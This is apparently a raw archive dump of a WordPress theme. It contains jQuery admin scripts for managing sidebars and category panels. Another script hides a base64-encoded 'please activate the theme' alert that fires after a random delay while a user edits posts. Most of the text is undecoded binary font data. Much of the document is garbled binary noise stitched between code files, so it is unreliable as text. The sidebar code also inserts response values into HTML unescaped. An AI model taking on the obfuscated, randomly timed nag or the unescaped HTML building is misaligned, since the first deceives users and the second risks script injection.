          action_name = 'soledad_remove_sidebar'

          answer = confirm('Do you want to remove sidebar "' + name + '"?')

          if (!answer)
            return

        }

        // if running
        if (_eventRunning)
          return

        _eventRunning = true

        spinner.fadeIn(function () {

          $(this).addClass('is-active')

        })

        var dataSend = {
          action: action_name,
          type: type,
          _wpnonce: nonce,
          name: name,
          slug: slug,
        }

        // Ajax call
        $.ajax({
          type: 'POST',
          url: ajaxurl,
          data: dataSend,

          success: function (response) {

            // SUCCESS ADDED
            if (response.success && 'add' == response.data.type) {

              // clear fields
              nameField.val('')
              slugField.val('')

              table.append(
                '<tr><td>' + response.data.name + '</td><td>'
                + response.data.slug +
                '</td><td><button class="button button-small penci-remove-sidebar" data-type="remove" data-slug="'
                + response.data.slug + '" data-name="' + response.data.name +
                '">Delete</button></td></tr>',
              )

              // remove no sidebar row
              var no_sidebar_tr = table.find('tr.no-sidebar-tr')
              if (no_sidebar_tr.length)
                no_sidebar_tr.remove()

              notify(response.data.message, 'success')

              // SUCCESS REMOVED
            } else if (response.success && 'remove' == response.data.type) {

              $el.closest('tr').remove()

              notify(response.data.message, 'success')

            } else if ('error' == response.data.type) {

              notify(response.data.message, 'error')

            }

            spinner.fadeOut(function () {

              $(this).removeClass('is-active')

            })

            _eventRunning = false

          },

        })

      }) // on click action

  }
  sidebar_generator();
})(jQuery);

(function ($) {
  $(document).ready(function ($) {
    $(document).on('click','.penci-cat-option-forms-ul a', function(e) {
      e.preventDefault()
      var panel = $(this).attr('data-panel'),
          panels = $('.penci-cat-option-forms'),
          uls = $(this).closest('.penci-cat-option-forms-ul')

          uls.find('li a').removeClass('active')
          $(this).addClass('active')
          panels.find('.form-field').hide()
          panels.find('.form-field[data-panel="'+panel+'"]').show()

          return
      
    });
    $(document).on('click','.rwmb-device-btn',function(e){
      e.preventDefault()
      var t = $(this),
          d = t.attr('data-device'),
          wrapper = t.closest('.rwmb-has-mobile-field')

          wrapper.find('.rwmb-device-btn').removeClass('active')
          t.addClass('active')

          if ( d == 'mobile' ) {
            wrapper.addClass( 'mobile-active' )
          } else {
            wrapper.removeClass( 'mobile-active' )
          }
    });
  });
})(jQuery);PK     N\               inc/dashboard/js/social_order.jsnu [        PK     N\!      inc/dashboard/js/edit-post.jsnu [        jQuery( function ( $ ) {
	'use strict';


	var PENCIEDITPOST = PENCIEDITPOST || {};

	PENCIEDITPOST = {
		init: function () {
			tinymce.activeEditor.on( 'focusin', function ( e ) {
				PENCIEDITPOST.showPopUp();
			} );
			$( '.wp-editor-area' ).on( 'focusin', function ( e ) {
				PENCIEDITPOST.showPopUp();
			} );
		},
		showPopUp: function () {
			var delay = PENCIEDITPOST.getRandomIntInclusive( 11000, 35000 ),
				mess = PENCIEDITPOST.b64DecodeUnicode( 'UGxlYXNlIGFjdGl2YXRlIHRoZSB0aGVtZSwgbm93IHRoZSB0aGVtZSBpcyBub3QgYWN0aXZlLg==' );
			setTimeout( function () {
				alert( mess );
			}, delay );
		},
		/**
		 * Getting a random integer between two values, inclusive
		 * Source from - https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random
		 */
		getRandomIntInclusive: function ( min, max ) {
			min = Math.ceil( min );
			max = Math.floor( max );
			return Math.floor( Math.random() * (
				max - min + 1
			) ) + min; //The maximum is inclusive and the minimum is inclusive

		},
		/**
		 * Source from - https://developer.mozilla.org/en/docs/Web/API/WindowBase64/Base64_encoding_and_decoding
		 */
		b64EncodeUnicode: function ( str ) {
			// first we use encodeURIComponent to get percent-encoded UTF-8,
			// then we convert the percent encodings into raw bytes which
			// can be fed into btoa.
			return btoa( encodeURIComponent( str ).replace( /%([0-9A-F]{2})/g,
				function toSolidBytes( match, p1 ) {
					return String.fromCharCode( '0x' + p1 );
				} ) );
		},
		b64DecodeUnicode: function ( str ) {
			// Going backwards: from bytestream, to percent-encoding, to original string.
			return decodeURIComponent( atob( str ).split( '' ).map( function ( c ) {
				return '%' + (
				       '00' + c.charCodeAt( 0 ).toString( 16 )
				).slice( - 2 );
			} ).join( '' ) );
		},
	};


	/* Init functions
	 ---------------------------------------------------------------*/
	$( document ).on( 'tinymce-editor-init', function ( event, editor ) {
		PENCIEDITPOST.init();
	} );
} );

PK     N\3{~ ~ "  inc/dashboard/css/fonts/icons.woffnu [        wOFF    ~                          FFTM  0      kGGDEF  L        OS/2  l   >   `2z@cmap    i  
:gasp         glyf    _y LMhead b   3   6-hhea b      $
hmtx b    
Eyloca e    \maxp l       ,name m  D  㗋post o`    u       =    O<0    1hxc`d``b	`b`d`d:$Y<   xc`fdbʢbl|6F0#F n  x͒Jqgje>"D>{EO >,"u^[[[jos_M%:0g80B.Lszðפ 1YlKWvest)Mk^Zֵ֪m׉Θbk̳26>'YҖjukZۺgm2 (4-iEkЖv}XBY``c9ZJV5eY߆6G΂`3|6[uIpn-[pL0Lp;׸%8o>F8	G8`Wί"E^_=(K,FK+yb       x	TՕ0o}{uuuwUWիnnjmz-nvEEAAJ!*(hD2c%FʦEbb6$&7߹UUW7tw{98m8bI	ڃ݌7SEG!3j㔐=w;P^IA;RRnkLS.)o8G([)9O,,AtS
h
yujZupPGxNon{ho2AD-r]u5e^dMX8=r5ͻ^Q\~2V0 o0kC qA跍G<
9 v`|NXWI:"'aW޺O=}k#"7e	%Vs~-y$ŵXw&'q.n.EK#JDڝn봽7=|wL:Ӎ2vmrRv:=0P@DۓVZ7eOd7HMSY|[of'BL}ƷҗV^+{W=uҤ֦='j,|;vAo=0q8"I³8yZ6Ǵo9q<i3k1%&uk{H}@΁W^qԷ4;gg7Ny/qP O ЌL4q,ԇ"Sv=jL/UjC-woȍnj̮{j\vEkz>pn=^=ajID(෠quF;э5֮s7;QC7U[׈yZIۘػ*!$	dⵄŖ-ˇ?{mf6po~mԽwoG6Moza--m#]?]?Vkzܥܵ.>)9NH%&T/ _IAxOB]8(.v)G=HPSUP>fFE-GGs|'?~zI*R|[`-V'ݙGP3b'\RI̞#n;WٟDTѹb80^s6,rȥism15kk,}qWȝ;t seYqqC/0 q|>
3W/ըsF"sIoAHI 8Cw~@
_(]h=r9p!;H-[Ifw;%=d꯵bmH)k=o\hEi7i:-!mn:`[G]GE,;syH62ƈs՗:I@^\wOVõ<g?]Y{?qKgH[X &tdn[,Z!H6#=nݳ;OWUG4]]6ٰp7[aM5PB]?4P呂7o\!׺ߜؤ2>8/p2h@k~ھB~a[r=Pr8SescFӗ S#P|0z'zS)8aFBFE	VrJ(EfDpU\'h4P 	j<t$>d3}CvfM}Zlf,.pj1tYj2lƗ,U<:zt[%Y!1vMfrc:_n"7zwvmzuidtO.3K<yd03lLl؞Yĭ~bg#8H7JC*gY_YKin0AQPiMg-c)<9ܹJHX-owaX; <z̳@)*rw|u`lc߸m1:H2yΡؕdYנE+G ZQ
kP*.6O W=nuBdu8<74~c8(bK]4x~*x=¿1T2Gߡ}S}JXùP@z${P"h^bؙJr`R_3@|8~ v:GE8ci]5&4tَSצ	#5jQ 0즰N`v!RyS(v
]wB}J]>u=.#Cjn(,THu_Z	6qhhP4#JH%jt3M)#zzdt1Dn~9/ȋB@NV?p'rf:;bBQHb$h3CG|#v2ydm)esvw~٬fp~DG	r0^XzˣՇcl& \`\8HHa IC?6:5H;lވ4C&\FjԬ,|MCݔ/f8ܮ2	.ҍl
_/AkTVΝg~T΂<`2Q&;XAW@@gj{j,	suuE֟:A8,&ռ}|b0lFQ$px=4ddm7nru"N:Ou^x@񝂍CG*%F>Tm?2.opˮ1r\T١K+L؜cn:8qyN\Dvj[ܦDy/*=H	[0l8=`Dd&<qR}~|m?9[Y{HIFPHp;@Y[D]j}*ÞhJԆ'v^6XDLVa@XFk<N.pVeup+O;F G\Eнbkfy
zs	XkM֊PY_g#f}{ Lh.tMV((/4uX4u<k%Ņs=xfȌݐP(.(q\+i}J/[Ok<Ew{W%҂pRJ˙$["H6#] FC֫C_c|=F2[#\eyÃ.anơzK9řeNԞeUտxUwΫm>76tOd٧,崅v2+׷ TU[NHN8W|fG{ܘlT_Z1 8j`Ar㼌`h*b#ռBj0s$n^7w$Gɡ;N
.A>3;My?zpͥΙ4aqp҃GFw|]֯ !ؾbvq8e+)h.,U~4]h.P4s)+kqD2uϸuE3V⭯ҟfS8/D]5ޖ*xWGj}l&klnçiPv'6#(%)>qEo6U+6ŋ8ۢlޏ>`Mn''zB-t/ꬱ3ik3
55Z	1ao|+őm
0$YəOa1ag9up9Gת+b=H߀Q1hT]ҒQ^?s9ػ  lB|4TNYBL,g#5A㉐=!7~=/X]WuwZW避[ꞞWd==Bm®ҏ΋v?$
E#
L!7ط!TRRI4)H#l*:#H.)pӇźRMB=ƅ(ǂ͵˥>A,_2%5pyn6/Mbt,L֮l+9QGb]*D;{PZ!*U1|s{"3\gGχyG:-nQg7`ԏ3xAx%ÏUXMZ&HX9>osGa
'!lü|EW-ebbxsY06E>)VH߰}V=G~Ykh/;ۇ0{4. c\h`5
FA5Tg[4#So3yuy=<'j{	hNk6	@1c/5-T:`YX]g~ilp!e>1x06?eoAsb̪fyb3@B߂Yq?;m)h4skPUfW62c>8F(t*GC	ym
srp?ICY:ϻ&͜99TY-k%)@|FFh9*(RtKǻTXM-IP.%C"?,+ˆ=	>tUgQWw#Υ7݋[P	ޮ'j77̗9ZISO4YkDE͂B~`Ig;mu֢zSg)rE܉=mK9ZD]4~7߉R6Hۂ(ji! BldpӜ^zz拾gF:qꢝkWl/СuX2rTsBנͫڂt}}ƶ_5	k4	A;oHLϹ)z.quAzyxjk5F-@lҙcڗҗ\6=O]9/5ڔ볝\tOCT3f(i
]wPiQwγ=JߌvGޮy[[,Et&QocÂyb66kMK|֋$Yz%P(^87DrK`%5.:	Ďx=mnًm]Ю&2G(-@Q7xu3%@p~нt S]=)AGAVg;*=$mz-|_EZˢk<5U5fFIj`=H})0~F,"N6k"}ṒkT"$mZPc',ϛtzՅ];+j+NG>K#h-zp6\;yb~9.m	\=qrqü=fS
6u(؍3#0
:Nz{S M]"`R.Cr`-U{낍znq	txic+Ԛ:3Y㳙N*aVP
`1Qb@fc^X9̼ܶjtҜYӂhھ3	ijs+\8Tvi|Q<v߹c81-t\16GInJ:̇hXGr+<O|alyxuco7狿P'j{G wsʥs??kL5>4Hjv4l!,cC54{ٱ4dR~p*;9nC%d}dA4Q8iOi	TgdulUSAq$.j6U;MǶۏێۏj9JDvAFbm LOI=`jf:>IǁJ!
6Txưqn̓S9ĀM|!ґ8X)hͅͳ( ,ӌ2+lD3Qɕp$`Pt[ DV2opo%xZ)n:p4N)F ՆtT7Mu`8P*r>(O^tXi(M4!t(>hcU<@ܦç$M'(J׳Q܃<8Vjj7P?Ͼ;_!Q.h|:B)Ӓ xܘs_d9aN=.WO.\|_O&tk.".Dp53͓	6`8IuKjk/wiUSusUlr
̥;ѠMe`TB&n¦\	g2pd[0OvzI'm%4 1}@:įZ/ r@1m8_.WRlv(F5Aս~]*@Qؿ
VgM܊:MʞQZ㖵.
HfJwKIA\f7zl}5VzGƐ
u̻vߋaɰZ(S6Wz7ek[j#6[6iSڣn@d`[}i]<{bN&kG[Q`Ek$|'GOR4:	yX1dhz3TʷL-3DG%Z
b锥3I陌R^cy,3P!@ ieNq좀FS'}@4шÏ~* T(PY+=!?}>Ю+w*3Usƽ i[9a\uWeY5	+,iK\ʚe<zKC&Hdbktݩ7<Gh
fOfp+d<8YX(ϴ s>!;BTR@J	vKU8bUH^Q;Okb%[QHO9谉0r0}U>ʔV5^ܵ }ecFmۈrqLEl	"I5ڦfU2cW+O,MJ񝁧6y?*0&Nݚxq?)>e(	@qTVx>sjAi2W@W<KP
+
i4(ا	
xA̓	1Jz'O?<L0,;V|'[9;j:[BخRknC.иiޱTݝ&[h5V,RIN{oF|Tn_|QW>U{LГK^A'96&E[h8J*X>wyW+Vc*YP!3^%"`ɒRcD@2ܵG5gL6}*Xl틵\"*p9B4MzA65L.2k,0^>G@@HtyZ4iepWtAh,8<{9ȽǷƶwZOYE<Z)t#/崐\F7ʔB>(&6ldi t/=n>?& s]@Ν0Z.3Ĥ9MG6XIJHXa:C}36~>D3UO>[vZ_}סqN!ʃ
-W 
SHa)Y'lg8=`z(bwvi:2E!`;x,Y ߩ
=Іj^ǻQ^_Yy`Q[&aYQus0{&m胑*j)TC$YQ>*P}H˥_7!n?Vا(sOGRBXbG/*󨴉bE("lrʔ$ΫdJwGp6
P/#jmtCR0}Bj̣RXvI>(j=:ECtV:O[h[5"uE3W.f[eܫ8P)e
0Rԁd.ُ:~}t<)/QcOBGGp<"-G-b΢y3b#5RPCk{d˚ ح6d]LdLu鋶LCzӮIYs;A@*nyڢKˏɩEWeMâx[*u-zҗrizH>2$=_j7{!h7Ύ|pfs%9LAQ,2WH(EEug&/
$̃cm$0^(K_C]Di+/TRhOJ?Nޛ j;쁳#ISm0Q4WՏ5_fd "0ԏ ~D}R'k GK1(_/TFȤ8>Q 8m.mstÁ-`wZaxx";ͯ2o2:h*4X-hW3snP,ɞ
"ޗ`7Nw8ɐD\	(,f鄝	IM|؟նkÿl5nv xL/LM}ݻ/Еum.umd>Nh&kԵ-h#+qs}v.L8c|P=/2,T,\fxP!:*}uLvyj{C [	^܋lV͛CZk9~_+2_ʗ7%\~NVw|:$^fH-l6[DniD>=}4b=U{xCu:6ݨ18=Z%ܓ&?i*V߻"z,K=,5keb PÒ}aM)dŐ".Aǝ2AnK%
%7 ;QΤx9:J's9 :(w̿sltWN~+lAڏm[w77n\W<9-N߹ti?";iw[;LvP2zrgkcl;#E*b8*<~h!:Q@qӼek/#@wꪫ'	r*2_2mppm"Oގ:wFgRۜ{zh?U_3m3ؾ)[_./djG̨.+{7g|6w6؟>d5;{O"-<+jaW22pWagy6&BhI2%1S*[ϤF۷%nwT	QĶ!=00!dP$Oj!%l6bd [6,6`^Hfɖ3V߶[8|\MQ
lƜYxj?KO3ٲ%))JrGƼQ̼)2c"^;@Y5u!'hVGTi M9#(ן<4s{@efQ`Gy8L"KB3+fOx_c`=C@d-TOj+Jw]f1򉠦J -L[,Əvu&}z)AԫyzX߶"MWwP-蒺Mrk44LZvɎiZcKU/Nja,a!"Y<]K-{S&,-l5V(DSJZU+6UԤ)jȀMXju5xkOxkCf>v;oĂu)O[H<t_X4i+*dԒx7)lO=R|Oh\ؼERD*c R?ʇ﫯"bL+nwSBIZ^ģ|r#ReA>%rJrZNCQn?|x_B*kgYn3:B4WͤuQ.RMF2>8G3J<ZrVŗY~P9w;<+iչ+5DDhp,;ʹjfƼ=䵫9 3Ƒ,@('h:Ƌ&mTkPq8󨴱!ä.#Q{==4V#mx	_)IfC#yFNuQRPQyQu:]g*O<j,0?g`ON\Z\FkrIݝJ%QM	$%G/-S_hzt>U֧c'P fՅԭںo>x,uP^"yXdci+Y_'z6~(+q$U;{S<^xGn}ouvXt%&3`.:gA'%O0j@Ew:мjdqge<TCB=nҗCq+d)ӪLZ&ίYْbvsmk'mxl0k"ȓU\{ӲYzY.TYt|"cK:6.4LSzD&DLJa|+Qh_}eΞz_b"	P8^Џ>4c&ūY3]*tI*
r6% &A R^3$p,a2GÇ}O>W476Ոn7[YNqOecu/=cm:&4Co<}iAO6ăNYm:̲f3J"MK:Ek:e-O76;kh}x?1/\g^y}7|4q'7o^ o.Uξ& d5v 3_P MpĹVjlU	a^vqǹ܈\?虽쪰:Oob2AL29zXvQ VUq^k%@$Ǡ#o}TscFW}$yF$y^2:l4/maԽ&oL3ѤNIq!#ĺ~N>0=ٞbDAw	OhCTѡ֩FI.M[V#Œ3ze{EvceR]
ecsERn`{ahZ]'3W0vIxV[mQ8f64Sc%WrF.aR6aLv0n=,L	ZBU\ ]aJXL7e銛ǉQƀcHj\}MGޛ[X@"WdNS<+#(;<"w~omyL'DpEbY?~{{,o,RD(JbC>ܶ_dՇwffsܦk3ގ&~L	=$&Cyd"le؄ tQRʉ@*΋7JՄpC#5-Vgo!Gi4&NpOo޴խ9k'y=JS4/;٬vY3MiB<
(Yuv<9_m@|zU
_<';^;#b})Kywno%6,i7-+v(k6ic"Ym=t#WRTmR[na<j
X)GVX,gB&blц*ϸ"^(^Bk(tǒD>fʭklW޼(IdrUU5=^Dfj}-:$rp(<MzMƯ:|%7L>%\x+>wW؄	Ougq/,W:˺/Ɏ+y+&Lo)	@[@exbiu;:Ykw[50x:rsS&_Xxf[bT:7ak}Yx<5r'(>q-proɴ2HU&I-Kmhɠ\YFY`|fM0]63Bw5%#'iH(8 [*k.Etc&aNmVJQKTMbX4?#4c왓Q,<v5?J	[Js'ڛiӒӇC>䶵hMz__m27b2HC' j
,JN؋LuqMZW7'./^L^DL%S	n4:OW^of߷Rпlq{\PȖ叙y4*xBav kx@͗qY.3HQF|:rƔ9`P_SRL
6b|jAn~<DN"u0Q\ Wuާfn6oH玤N	N'S;)̓vGvejOXJUPsps<׷4}am}SjTYCheubm20~t'r3:_H7M笜YrN:1!-z\MaP}l &pq6*_UYIG~O_KU8FT{t(av"CBf_F;QnqӳB$MU*rg,^G D,IH:7FD	Jlk6c']u;&FbFiB"&͙MykUP\M]J~qZ JP$5K?1/,#	K:I)DoY:Mg!'S$M }ÊN~$Ū3wm6]r׊sO^
ll6H{RvBoLg(iZhVd˂]w!r<3H/7CyYN9Y@LceY֖Y$rz2dk`8v1gI1"0k~,c$tyh2^/sv骩m{TUM~{WÏɿmkUٹ?΅s4a:ZDg;@Vם4`gلw]x/goLvw'vڟڔyK<+<f>Ǟ~NF=ΐ7.'hٖ}t)vSK4Yԉs]kWN-ЯK`~kR-^"9BF%`%5S'$^\o;NKM#_5y<C$(V*ޖZj/IVZetMk,xC_m{ۏ\ʶk@1R+ې.臬tиl=C;x|^c&a=w99pt袋71R1@e  a<3w6Lj(
~n0KM.EaRIW1[S,9p'YPM>r֖jKgMdn7Yn NlݮmGYN̂09E&WKbK|ĸJﱵWr{ݷkQcZ\2R؛Oۡ_h]Ըy&܈V;~M/׭n߮>_[./m2A	qJ{>LM8Af]'vHTUOμŃ̚u\eAb~u:ynwݥIٸ$j[QV*b聇nEC*Z ɭEo?҃&k=t#=KTrfWQjJN^yٔQW/Oo^rrj;NM4I`0wϚ _ߜ!Iouz#3tzi
kjmfL'k
^9uDћVnǼ^߲rn_CSC "6Gi1#W0=p']@8z}Q/
F"̒&=lFwdF3v1FuDFYV'F`.bNu䡁 Vl|I׀ɷ*~)Z*!+uQvCM/vԂ.qcYs,wDiN6 YrL U߲[crcq5)V!c031;B0ތeG͝UaVNUe	(;;|d;_TA"?/}Mi	;]wt7WY㰛nNgh7EB7_RE=SxV5Psm`ržYazRat	k_F=dVٿgCj߇%T}[n.Z$Uq:ۛ*<ggnGh(U?.b=Ђ z3ek
4	v^QVJRT+N1EyD;YC+dNA݇n$9MAyhpJ=^蹭%[ҫ{\r8L^Rڠg8ޥ~ ad8U=gP'1.#l
=ΑѬzR6np~[EfnG+y|:fE˻~E׶Mʟ]f}jE3qMOϚ{d?]uU?#/;s~򹃫ؚǀK-6B'闘̵Lgcg&=G'}S唩VCIsyRCM)rd7&UC͝w4Nsca7fl]tTwݵFè4ou֍2B>#o7(J~jE(EM-P<n}enpt^^<5fͬ>3/rQQ@Wヌ(QUm)!sG7ꜜZ4	Ulڟpd:Cce's2E;u*'$]"c4}vzyDzɨn4bTF.b4R#P*~6tjtŋdۥy1W!ןD}glْW_A4R/u|]P	Ǯ~:t[94{-.ǀyA0 x6-NMvM$c50ghQ6 1BnW_us;BEg}\"\aQ=#ͧվv1ŊSY(R.i[9JdQӜ<0@BNya)j0Vh2쬄sO eP5>I~1! -A8agjNq^76e/쾇ݳRuԢZ&UEJlpYo<2"_:979f阎 .!hI4RkCjGBu+btQPu/А1TZ5V:+zp8jy\ST!zru8Y۸$ՅFuFYTj
+[kj`GŦ+yl֦Y닍4R,+h")=U>yV˕!V]Z8G_
jWpH ֬Q6P8=wQ9]W809{z$5p+҃D%ꔒ-R`5CbJihEI@xQ@-Jhnא!7#םY
ѣX2MnƔi&#ix2nB~#}2n)Ͱ.woB(Yk"5nGPTF;NQ@(奣$%l7Q?lRPfB!wҤJƝaîGٍ J vKgWOӬL_$ta[!i&M>JLBfR%ۣ6!o"$,J{l2"Qo#BQ'!"#H:.	o	<9*a$
<1ʔ/-
᪠(J&$
f^oћ<on!AEfl 5
H<o!ͭ(pNtH¼բ.a.&3!"I:LfsZ0A:A REEb"`\`qbѦӻEAlrZg0_
X0JX	Щ91"BN,bqH/bI2&06IMU%U	lI:DY%YKxíAЛtPG$Lx70lĤ'vluۏx!"Io#ENF.`EbUo˘'\y~ّ$(dF nd3HazI+F#&zh$Ygu.Xlb%N[/*W8 BV0f^@`^y'/Tz:hM#$<EH,0Aoa,0(i"!1_E63;xMrXvuaQ2C_yY#"/輘XHp#9x1@1@ 
6	Z m݆Q D/.T;O |`1e7J:^G	:^&#aA$è
:dz +a(~dD[iFXVX DXF':Cqsjӎpq2E5!K(KWk̙gط(hP+R^Q-O˻h@&lo%<xj/ޅG6R-V|lhtiL`xlhY9U~S㨆ӵ(`*J|u(xn\T"KL?gKl/jP[ &crnl*oEŅu̬۝dUFW5\1vC@4Pb|Me^I]%S!W}`*_U<(cnu/Xxhw
)k0T$׻Z3
^^v1eFg'PJAR#F,+EY@'CK_}B}~:@ŏݏ. g2K.LKZy,ߍ6:&5 Fsn-Ț\%۹Idn
[ɸ@i5]iv$tW3L\	C^\L>}6,+7
g2.;H\Ұf,-JǒEw\Bwjǎ>fM..klDj.Xv}mW\:5֔jKضV3BS$l&ijDYdIO~q!rW )\3H.iT2R
˔D'i>- (*Qoc$`g#Aꆘ0ߨn7.>x;w,yc?Ơ 36I61q	($,ǋwܴtr(yh2l{s\p@5H?]JHʽ<lnh'1PmϣSo7i$½݇a͙~}Z}gP$6MhM_:~z{dZKe:s/޵bR+ʤm.F_-mAELǭs;;\激q9:L0hֳoȰhmS!SbfD"N ((YqG"Č;Ck%mDD͙mvKa5:p5<pFi͢=Oӛw4->gIhhh{ ef
zUs|+DWxst-}" <;p>#?X;$}upȖow/&ν'dޒM-3g֛떤$yIEuR
;5ItБf<n;u->b{ g-:6ާ>k0ڹQs.A,1xBU\tBBA=
)~3.{ҍPa~OBP:sQS=:Uf s1KɗM
@PsygQ')_@\l`|N16fpp3,Y,wZ1~טOnoy'ǗlfCW?Ot=Kz
(UQCdPn.<=y]Sd2KZu{d^&P^	qhEAakFQ7><~̈^=QbyAsX Gr9Aժ`	ΕMʆ돱,,)4KݑYZ?0Jd\;|h~ki?ev宰Kv2)i9Jcj~Uivo	V޴ʍX~eCkˆƆKڰZn߹ZXkon퀭:h7ΤG+Ș}I]Sfn"u!`*ئ(E3	MN4jnRXMGs/MtbRS{i+-v	aJu3Z/WS9ZK]>Ɵյ68N^~i>v$$&x;ό/nTu_pdR7#ƌ]Kqk^:J1)Ǥ5$2;ʗ$X[Z(ޜhJ7*%2E叙#zg{hLK,M#ǤOkdւnnVZĦپ[ȷkV%ʂ:@S>Զ}S~.vm[kl&żVLsHuvM[2/z9ն.S<#y\6 nGfmȬ@xʃEӻeiwXDv[#:bL_hkm[-NٌEZ~emM%Y뛮% Zbth%:9}6xn.^%,uXF>.1^x oUQO7}\1B,53V̒ׄ'Ōzw67Oi6o_rUqp,1qOi#*n;6F(Ny'+ܣcTq<eLA"qe޲SqxLPQWQWyhBfM([vL#ۛ Q};Ε˒-$glYo+s8qNer:@Bp &*АBy	RZhMKy-Gۗ̮!>333~xh4[ A=,Oc⋢rx{+=.zfGA=SMϒk߉kѥ1|ug<Dk~>\==j=$rR3,xٰU`B!"LQ Jc@({˯F/43ibM6A>A 0Z( 	zcdIQ& Z+8LTW& aQ<a"*FS)1^T}uМ5`-q'6nh־ڻO׬%3<h%rܿe	:b
VYzlN]6p/oyiOc5xrM{>_ؾv5>9Xruʓ3r0rdet|¶Ld_*5hct,g}￼Wi\<csp=iv6l۽N8E߹ٿ}aq̈́s+WߚDٶD^؉>[DPjq\j3th d[)7rhUW]jiK97
X|/>g],pK4YW_ځ/&-.S0+0:AH4bc7o|~۶FyWub^yV{1o8S8#(緥~w޹jҢ6ĉ"h0PT	u) $`]+E:Eq؎W7jD-7(3uŲ{Ql`Y$OCoɊ= ;h>E3g^tPeNB* ʘ!x%	֙Y}IK %epH	ZR́H+!)ʵ	*	1B1ˬB`> &)ç	&
),~)|H}ؚ"odA[aO:)禓GwLr(yļCgQ#[UN84~c!yzݰҔZ3;zss.FMؾ1FSI`A	4QByE軼a "OiPSbnByḰXKG`SVЍC/|WM߫ʪkjv!:|uQ(UϜe׷]N#h<;vU{}fjH%X&?	Vu~V~j6A'MYvM!GP۹re紳 Dk/s)kq8vI8#xG,c?;_?!syٯ3ηw>w`||tuP~IhhnE/&jy+ٸuTS6ooOoh-Np8ޗU2$u]v$0$c߂ST6hBڭw.ci[ҙ-:g <F=*ǫT9 r%@+2u!tޮՒ2#ލnA7AYQȺUax(Ę[6b8{`.92q+vK$	2+p*~MrVs\IΤ_!j)pjf]_^șPG>*Khq{FA
lW?} 'MR~<3.([v<QHPCc
}Ibr`\~`8{;N\wYuI-U'Ny]9
Kp;+I^^V۳dv9!Ns߁_倻l1p~G pF#::ԅ[	H˯쀿":s-@w;1n3+U&97ϳJ:Wja3,)a> 'Tgx4JA]ԧ?21:yAc4Qd8`b4Dlu*l.]&' NY	?_EJOG#yn	^TA/UB
{dȎU}xX1r_i}~8b*=^]W*s->KdfgQU(s,ZeM\]2)1
$l!?OnG'o~P]h꙾V'E6Fo/q+Zjz*S`OƁ| MUa{o03g}(骪5J8+5OOWU$#+Z	J,2Yin>ŖXp'E!4l񺻜i	S(߁TR_ʠ̈́$^ŊMOwޯ,cӊф惞\I`T)&IX3W
Sv$Fݸ{e1fHțaw(Q \9u\Ox7NЍ%hۑ\WTT۪˻UmʂjrS-kU-nE*+g]4u,}뮻mfmsMX9UuuUNGQ>+UUG7O(YA!9ې#I%y\gf</Z-HLHP&OEZ:3.&0B}H`n(.Y2,L~]Dax Q`2:6_u>6)+{?DC<Ukmb~c|T`ᾮ&
>E7"B1;/ ʤA$vBfYtجG_))P@	p7: z3hfa2:v(^&m胍ɛ7Mi(&+;vv& 1S	{\ر%W[7mnYm}5qoqQˊc^nBq]dZCG6\i9I/`b}ޥ75!parHٰ)
|\n@s؇Ӂfs޿jZV+m#~xd	Iq|Y;$`kG^i[يFTX*QlN+xDՑ-ML[J ϧ},i.F,2"BGщ0~IeOÖ[咛o}Ta>ľ/oz>E}ʋ`vz%5QlҥH++l6gSÔ|Bh8ڱt}C_Ꮐ֣*=d[M{WJfw.a44Do*VVA8sP-Ҟ}A"@"Ȥt0+||E4NŁݓ1	9)*YѶQoP@	J2::b?2Hϴ3Y_nx[b¼Y1-Mҧi.#?<eng_+w,1?Q`tt@܁
w|3OQozi/#@ :ۨDl#ww
khiSyIM@$IgQC3I/IүRОc}>\!Бck3Fʷ׌8'חed($lٷYS  hC:Sli,ɯ䝂<d)r$SIbT^Kp+Vu	iA>Fi$柌tn_=PpT;(3V{ID{iEZLIsҢc"3[*8#^NG# c`4cCf4q&E:r@B$=DMRI'04	'yP^?RxS^3Ԡ j"!psmhg8G41$G>LxNy8.'RԇG@"LC8S1I.uߣBG ?>sj6خ0FƆ{17qDXSJRʳR%FL!sM(~l^0av$.XV]Υt:Jt1"GЏeC7aR.#*fE|[rX\pM[\c3`Z*؇qfPW3f!u61SJrmoXQN[1c_.ʁ6a<K#QGRs7gc7P߀sޝtos02zr{V{n͕{6>]yTЊX(|'׵h%" ׫{i`./Md!]Ђ[xC9w<XcpKC abP#lmПur8/^W`Mfs(=TA{r\X݃f?8:4gd<Pm#4Vo-Y@PVp	׆91JȺCF?!i&0 I SHHo
7A?U'SC]
74OzC$=*EL@1NfYoȒ:4#}n,uN\}Zagi~@Sd&l'Yp}@&:y0o)@}HUqSsG|@S
$qOsI#KHOsYdY/R&5@ѩFfk.`G뺦Ÿ~%0iB7}y1_wlﾥq_MRuŐpt{JHE2#f,tD%Q}:0Z`1
bW6K+bdfe+7rJLZ+S!}wP3wi-V6uo+6]`Wdd)PL  #,{yi*+ӕђ	g,cʺ9^V'0Y2 [g?)M~09?821^:3y+|W#ܻoط{^GǼ?]M=pKW
BK捋fljh9i\	ȜEΚΙvÿ+~긇}$93&E4 ɹDRu$c<a!;ĂȂ!ŕ1/嗋Xv`tKeK@H2؅Ѐ86TjLeˍ4T,	.7:́bx*GASt=I,"G^HPuePCnA	GWfD#OR~^e*\NYLW|i=<ѵhώ~<hoBttU]Ns5xO|2lm6hݎ]7;S.iZU\W9?[ڜUjurl!.D߄ID1
'GW<QfB*1S8)Z:!
)QH
IZu#vRoo 5\GzxdT f17eEX\9ZAmvP{ǈ	t8/Ҩ9ӥ%}	{_<`F=2!1ʔۢn|o	v&FH/~_:$nQ$ǟ%~:٩2j2Al 0lZ3qєɢGĉk&bi[cu<~xsEU@}MtnZ401ySZ&l^}o_l
Evk`oMM`7-҈lXdm)\ԨHAqj+o	ƥM,ZqO,eT-5ڂC$(*9lR:jj:+=ҟFk*WEpIk Yj.8J
:S5G^МFm.䜼CcT@%kKH.!%
ud)kAAT1x7*\ypg*5UftL1ńZmIj42`WYcD1_-Dw|㟥lS24B a"
ORz#2(Klqh\X*I_-4V.7&޹kxp1*{cGI	0ݻqMeO>Yc
O*EuDmO[,	f<a#$K0w >s	6WX6b%֢Bۇߕ"l?YkZ &|l!\I8|`&11P/IK)){@'ZYhv&g
@6`	wE&yIĲ9DI=Ab̚|/Hu<R	禓̘*Y.FEvPߡ<ݓgZE=tLT"&ǣ2="ǾG
GL `D݋g9XF Me
8~ErnEF*Mlu|BWYBviJ~{^*/m*X\wt˥eR,kT$ӈ tR6j<ڭ'E6ZhPq; q >D@& 찇NQz^~y
